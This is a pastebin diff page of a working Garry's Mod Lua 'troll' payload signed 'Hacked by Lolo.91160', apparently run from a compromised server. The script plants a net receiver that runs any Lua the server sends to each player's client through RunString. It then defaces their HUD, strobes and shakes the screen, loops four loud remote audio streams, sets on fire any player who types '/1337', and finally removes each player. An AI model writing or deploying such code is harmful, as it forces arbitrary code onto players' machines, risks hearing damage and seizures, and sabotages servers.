View difference between Paste ID: NfP4us6M and LB2T7NF2
SHOW: | | - or go back to the newest paste.
1
util.AddNetworkString "skeleton_dancing_troll"
2
3
local lol = {}
4
function lol:RandomString( intMin, intMax )
5
	local ret = ""
6
	for _ = 1, math.random( intMin, intMax ) do
7
		ret = ret.. string.char( math.random(65, 90) )
8
	end
9
10
	return ret
11
end
12
13
lol.m_tblActions = {}
14
lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
15
lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
16
17
function lol:PushAction( intChainDelay, func )
18
	self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
19
end
20
21
function lol:NextAction( pPlayer )
22
	pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
23
	if not self.m_tblActions[pPlayer.m_intCurAction] then return end
24
25
	timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
26
		if not IsValid( pPlayer ) then return end
27
		self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
28
		self:NextAction( pPlayer )
29
	end )
30
end
31
32
function lol:Start( pPlayer )
33
	pPlayer.m_intCurAction = 0
34
	self:NextAction( pPlayer )
35
end
36
37
function lol:SendLua( pPlayer, strLua )
38
	net.Start( "skeleton_dancing_troll" )
39
		net.WriteString( strLua )
40
	net.Send( pPlayer )
41
end
42
43
function lol:SetupPlayer( pPlayer )
44
	pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
45
end
46
47
for k, v in pairs( player.GetAll() ) do
48
	lol:SetupPlayer( v )
49
	timer.Simple( 2, function() lol:Start( v ) end )
50
end
51
52
hook.Add( "PlayerAuthed", "wat", function( pPlayer )
53
	lol:SetupPlayer( pPlayer )
54
	timer.Simple( 10, function() lol:Start( pPlayer ) end )	
55
end )
56
57
hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
58
	if strText:sub( 1, 5 ) == "/1337" then
59
		pSender:Ignite( 1e9 )
60
		pSender:ChatPrint( "Nop" )
61
		pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
62
		return false
63
	end
64
end )
65
66
67
68
--Sequence stack
69
--Start some tunes and steam in our assets
70
lol:PushAction( 0, function( pPlayer )
71
	lol:SendLua( pPlayer, ([=[
72
		sound.PlayURL( "http://www.underdone.org/leak/underdone/blue.mp3", "", function()end )
73
		
74
		g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
75
		local html = [[%s]]
76
		local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
77
			local pnl = vgui.Create( "HTML" )
78
			pnl:SetPos( ScrW() -1, ScrH() -1 )
79
			pnl:SetVisible( true )
80
			pnl:SetMouseInputEnabled( false )
81
			pnl:SetKeyBoardInputEnabled( false )
82
			pnl:SetSize( intSizeX, intSizeY )
83
			pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
84
			
85
			local PageLoaded
86
			PageLoaded = function()
87
				local mat = pnl:GetHTMLMaterial()
88
				if mat then
89
					g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
90
					return
91
				end
92
				
93
				timer.Simple( 0.5, PageLoaded )
94
			end
95
96
			PageLoaded()
97
		end
98
99
		LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306958-hud.png", "hud1", 300, 128 )
100
		LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306628-hud2.png", "hud2", 300, 128 )
101
		LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306630-hud3.png", "hud3", 128, 128 )
102
		LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306624-doritos.png", "doritos", 183, 256 )
103
		LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306626-fedora.png", "fedora", 256, 256 )
104
		LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306620-dew.png", "dew", 110, 256 )
105
		LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306619-awp.png", "awp", 256, 55 )
106
	]=]):format(lol.m_strImageLoadHTML) )
107
end )
108
109
--HUD swap
110
lol:PushAction( 31, function( pPlayer )
111
	lol:SendLua( pPlayer, [[
112
		(GAMEMODE or GM).CalcView = function() end
113
		(GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
114
115
		local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
116
		for k, v in pairs(remove) do
117
			hook.GetTable()[v] = {}
118
		end
119
120
		local function GetWebMat( strURL )
121
			return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
122
		end
123
124
		hook.Add( "HUDPaint", "newhud", function()
125
			surface.SetDrawColor( 255, 255, 255, 255 )
126
127
			if GetWebMat( "hud1" ) then
128
				surface.SetMaterial( GetWebMat("hud1")[1] )
129
				surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
130
			end
131
			if GetWebMat( "hud2" ) then
132
				surface.SetMaterial( GetWebMat("hud2")[1] )
133
				surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 *(512 /300), 128 )
134
			end
135
			if GetWebMat( "hud3" ) then
136
				surface.SetMaterial( GetWebMat("hud3")[1] )
137
				surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
138
			end
139
			if GetWebMat( "doritos" ) then
140
				surface.SetMaterial( GetWebMat("doritos")[1] )
141
				surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
142
			end
143
			if GetWebMat( "dew" ) then
144
				surface.SetMaterial( GetWebMat("dew")[1] )
145
				surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 *((256 /110) -1), 256, CurTime() *-512 )
146
			end
147
			if GetWebMat( "fedora" ) then
148
				surface.SetMaterial( GetWebMat("fedora")[1] )
149
				surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 )
150
			end
151
			if GetWebMat( "awp" ) then
152
				surface.SetMaterial( GetWebMat("awp")[1] )
153
				surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() *512 )
154
			end
155
156
			draw.SimpleTextOutlined(
157-
				"Hacked by Lolo.91160 et LokiSploit",
157+
				"Hacked by Lolo.91160",
158
				"DermaLarge",
159
				ScrW() /2 +math.random( -8, 8 ),
160
				ScrH() /2 +math.random( -8, 8 ) +64,
161
				Color( 255, 0, 0, 255 ),
162
				TEXT_ALIGN_CENTER,
163
				TEXT_ALIGN_CENTER,
164
				1,
165
				Color( 0, 0, 255, 255 )
166
			) 
167
168
			draw.SimpleTextOutlined(
169
				"C:",
170
				"DermaLarge",
171
				ScrW() /2 +math.random( -8, 8 ),
172
				ScrH() /2 +math.random( -8, 8 ) +24,
173
				Color( 255, 0, 0, 255 ),
174
				TEXT_ALIGN_CENTER,
175
				TEXT_ALIGN_CENTER,
176
				1,
177
				Color( 0, 0, 255, 255 )
178
			) 
179
		end )
180
181
		local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
182
		hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
183
184
		surface.PlaySound( "garrysmod/save_load4.wav" )
185
		surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
186
	]] )
187
end )
188
189
--Disco time
190
lol:PushAction( 10, function( pPlayer )
191
	local idx = pPlayer:EntIndex()
192
	timer.Create( "beat".. idx, 0.42, 0, function()
193
	    if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
194
	    pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
195
	end )
196
197
198
	lol:SendLua( pPlayer, [[
199
		local emitter = ParticleEmitter( LocalPlayer():GetPos() )
200
		local time = 0
201
202
		hook.Add( "Think", "wat", function()
203
			if CurTime() < time then
204
				return
205
			end
206
207
			time = CurTime() +0.05
208
			for i = 1, 16 do
209
				local part = emitter:Add(
210
					"particles/balloon_bit", 
211
					LocalPlayer():GetPos() +Vector( 
212
						math.random( -256, 256 ), 
213
						math.random( -256, 256 ), 
214
						256
215
					)
216
				)
217
				
218
				if part then
219
					local Size = math.random( 4, 7 )
220
					
221
					part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
222
					part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
223
					part:SetDieTime( 4.5 )
224
					part:SetGravity( Vector(40, 0, -250) )
225
					part:SetLifeTime( 0 )
226
					part:SetStartSize( Size /2 )
227
					part:SetEndSize( Size )
228
					part:SetCollide( true )
229
				end
230
			end
231
		end )
232
	]] )
233
234
	lol:SendLua( pPlayer, [[
235
		hook.Add( "RenderScreenspaceEffects", "wat", function()
236
			local sinScaler = math.sin( CurTime() )
237
			DrawBloom(
238
				0,
239
				3,
240
				sinScaler *math.Rand(1, 8),
241
				sinScaler *math.Rand(1, 8),
242
				6,
243
				math.Rand(0.5, 2),
244
				math.Rand(0, 0.3),
245
				math.Rand(0, 0.3),
246
				math.Rand(0.5, 1)
247
			)
248
249
			DrawColorModify{
250
				["$pp_colour_addr"] = 0,
251
				["$pp_colour_addg"] = 0,
252
				["$pp_colour_addb"] = 00,
253
				["$pp_colour_brightness" ] = 0,
254
				["$pp_colour_contrast" ] = 1,
255
				["$pp_colour_colour" ] = 1,
256
				["$pp_colour_mulr" ] = 0,
257
				["$pp_colour_mulg" ] = 0,
258
				["$pp_colour_mulb" ] = 1
259
			}
260
		end )
261
262
		local mdl = ClientsideModel( "models/player/skeleton.mdl", RENDERGROUP_BOTH )
263
		mdl:SetNoDraw( true )
264
		local posCache, time = {}, 0
265
266
		hook.Add( "HUDPaint", "dance", function()
267
			if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
268
				local idx = mdl:LookupSequence("taunt_dance")
269
				mdl.SeqDuration = mdl:SequenceDuration( idx )
270
				mdl.SeqStart = CurTime()
271
				mdl:ResetSequence( idx )
272
			end
273
274
			mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
275
276
			
277
			local w, h = 300, 300
278
			local ang = Angle( 0, 0, 0 )
279
280
			for i = 1, 32 do
281
				if CurTime() > time then
282
					posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
283
				end
284
				local x, y = posCache[i][1], posCache[i][2]
285
286
				cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
287
					cam.IgnoreZ( true )
288
					render.SuppressEngineLighting( true )
289
					
290
					render.SetLightingOrigin( mdl:GetPos() )
291
					render.ResetModelLighting( 1, 1, 1 )
292
					render.SetColorModulation( 0, 0, 1 )
293
294
					mdl:DrawModel()
295
					
296
					render.SuppressEngineLighting( false )
297
					cam.IgnoreZ( false )
298
				cam.End3D()
299
			end
300
301
			if CurTime() > time then
302
				time = CurTime() +0.15
303
			end
304
		end )
305
306
		surface.PlaySound( "vo/npc/male01/ohno.wav" )
307
	]] )
308
end )
309
310
--Let the beat drop
311
lol:PushAction( 54, function( pPlayer )
312
	lol:SendLua( pPlayer, [[
313
		hook.Add( "GetMotionBlurValues", "wat", function()
314
			return 0, 0, 1, math.sin(CurTime() *13)
315
		end )
316
317
		hook.Add( "RenderScreenspaceEffects", "ohgod", function()
318
			local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
319
			DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
320
			DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
321
		end )
322
323
		hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
324
			render.SetMaterial( Material("cable/blue_elec") )
325
			for i = 1, 32 do
326
				render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
327
			end
328
		end )
329
330
		timer.Create( "thedrop", 0.42, 0, function()
331
			util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 ) 
332
		end )
333
	]] )
334
end )
335
336
--EVIL TIME rip headpones
337
lol:PushAction( 175, function( pPlayer )
338
	lol:SendLua( pPlayer, [[
339
		surface.PlaySound( "vo/npc/male01/gethellout.wav" )
340
341
		local sounds = {}
342
		for i = 1, 4 do
343
			sound.PlayURL( "http://www.underdone.org/leak/underdone/asd.mp3", "noblock noplay", function( pChan )
344
				sounds[#sounds +1] = pChan
345
			end )
346
		end
347
348
		timer.Create( "asdf", 1, 0, function()
349
			if #sounds ~= 4 then return end
350
			timer.Destroy( "asdf" )
351
			for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
352
		end )
353
354
		hook.Add( "HUDShouldDraw", "newhud", function() return false end )
355
	]] )
356
357
	pPlayer:Remove()
358
end )